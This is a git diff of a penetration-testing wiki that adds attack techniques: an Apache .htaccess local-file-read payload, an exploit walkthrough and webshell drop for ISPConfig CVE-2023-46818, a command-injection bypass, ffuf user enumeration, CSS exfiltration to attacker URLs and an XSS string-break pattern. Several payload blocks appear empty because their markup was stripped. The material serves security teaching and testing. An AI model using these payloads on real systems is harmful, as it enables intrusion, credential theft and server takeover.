-{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index b501c2d16..4ae89563b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -45,6 +45,9 @@ ARM64 has **31 general-purpose registers**, labeled `x0` through `x30`. Each can The **`Wn`** registers are the **32bit** version of the **`Xn`** register. +> [!TIP] +> The registers from X0 - X18 are volatile, which means that their values can be changed by function calls and interrupts. However, the registers from X19 - X28 are non-volatile, meaning their values must be preserved across function calls ("callee saved"). + ### SIMD and Floating-Point Registers Moreover, there are another **32 registers of 128bit length** that can be used in optimized single instruction multiple data (SIMD) operations and for performing floating-point arithmetic. These are called the Vn registers although they can also operate in **64**-bit, **32**-bit, **16**-bit and **8**-bit and then they are called **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** and **`Bn`**. @@ -275,7 +278,7 @@ There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for - **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4. - **`r11`**: Frame Pointer - **`r12`**: Intra-procedural call register -- **`r13`**: Stack Pointer +- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned) - **`r14`**: Link Register Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\ @@ -317,7 +320,7 @@ The fields are divided in some groups: ### BSD syscalls -Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls will have **x16 > 0**. +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. ### Mach Traps diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 41291959b..5cc3a738c 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -82,6 +82,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**Golang**](golang.md) - [**GraphQL**](graphql.md) - [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**ISPConfig**](ispconfig.md) - [**IIS tricks**](iis-internet-information-services.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 197d80d01..2d7a1232e 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -27,6 +27,38 @@ uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument. + +- Requirements: + - Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4). + - The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo). + - The Apache worker user must have read permissions on the target file. + +.htaccess payload: + +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` + +Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting: + +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` + +Notes and tips: +- Only absolute paths work. The content is returned as the response body for the 404 handler. +- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups. +- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: + - rename .htaccess .htaccess.bk + - put your malicious .htaccess +- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.). + ## Confusion Attack These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. @@ -274,8 +306,8 @@ Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker ## References - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md new file mode 100644 index 000000000..3aba03e1c --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -0,0 +1,107 @@ +# ISPConfig + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation. + +Key default paths: +- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. +- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). + +Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it: + +```bash +ssh -L 9001:127.0.0.1:8080 user@target +# then browse http://127.0.0.1:9001 +``` + +## Language editor PHP code injection (CVE-2023-46818) + +- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Preconditions: + - Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) + - Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context + +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. + +### Manual exploitation flow + +1) Open/create a language file to obtain CSRF tokens + +Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. + +2) Inject PHP via records[] and save + +Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes: + +```http +POST /admin/language_edit.php HTTP/1.1 +Host: 127.0.0.1:9001 +Content-Type: application/x-www-form-urlencoded +Cookie: ispconfig_auth=... + +lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= +``` + +Out-of-band test (observe ICMP): + +```http +records[]= +``` + +3) Write files and drop a webshell + +Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`): + +```http +records[]= +``` + +Then write a simple webshell using base64 to avoid bad characters in the POST body: + +```http +records[]= +``` + +Use it: + +```bash +curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' +``` + +If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user. + +### Python PoC + +A ready-to-use exploit automates token handling and payload delivery: +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) + +Example run: + +```bash +python3 cve-2023-46818.py http://127.0.0.1:9001 admin +``` + +### Hardening + +- Upgrade to 3.2.11p1 or later +- Disable the language editor unless strictly needed: + +``` +admin_allow_langedit=no +``` + +- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges +- Enforce strong authentication for the built-in `admin` account + +## References + +- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) +- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) +- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 678e0772a..8529062f6 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -19,6 +19,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) +ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs) #Only unix supported `ls` # `` @@ -170,5 +171,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index e0f95bfdf..f6d16630e 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -38,6 +38,27 @@ for id in $(seq 64185742 64185700); do done ``` +--- + +### Error-response oracle for user/file enumeration + +When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle: + +- Non-existent username → "User not found" +- Bad filename but valid extension → "File does not exist" (sometimes also lists available files) +- Bad extension → validation error + +With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users: + +```bash +ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ + -b 'PHPSESSID=' \ + -w /opt/SecLists/Usernames/Names/names.txt \ + -fr 'User not found' +``` + +Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage. + --- ## 2. Real-World Case Study – McHire Chatbot Platform (2025) @@ -86,4 +107,5 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 4e4a827fd..2c97c3209 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ > No worries, just check the **output** because **you can see the flag there**. +### Inline-Style CSS Exfiltration (attr() + if() + image-set()) + +This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. + +> [!WARNING] +> Equality comparisons in if() require double quotes for string literals. Single quotes will not match. + +- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). +- Read: copy the attribute into a CSS variable: `--val: attr(title)`. +- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. +- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint. + +Attempt (does not work; single quotes in comparison): + +```html +
test
+``` + +Working payload (double quotes required in the comparison): + +```html +
test
+``` + +Enumerating attribute values with nested conditionals: + +```html +
+``` + +Realistic demo (probing usernames): + +```html +
+``` + +Notes and limitations: + +- Works on Chromium-based browsers at the time of research; behavior may differ on other engines. +- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. +- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). + +Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda + ### Other selectors Other ways to access DOM parts with **CSS selectors**: @@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) +- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) +- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) +- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) +- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) +- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) +- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 9c36bb96e..b173eb4af 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input \';alert(document.domain)// ``` +#### JS-in-JS string break → inject → repair pattern + +When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton: + +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` + +Example URL pattern when the vulnerable parameter is reflected into a JS string: + +``` +?param=test";;a=" +``` + +This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords. + ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ @@ -571,6 +590,25 @@ loop``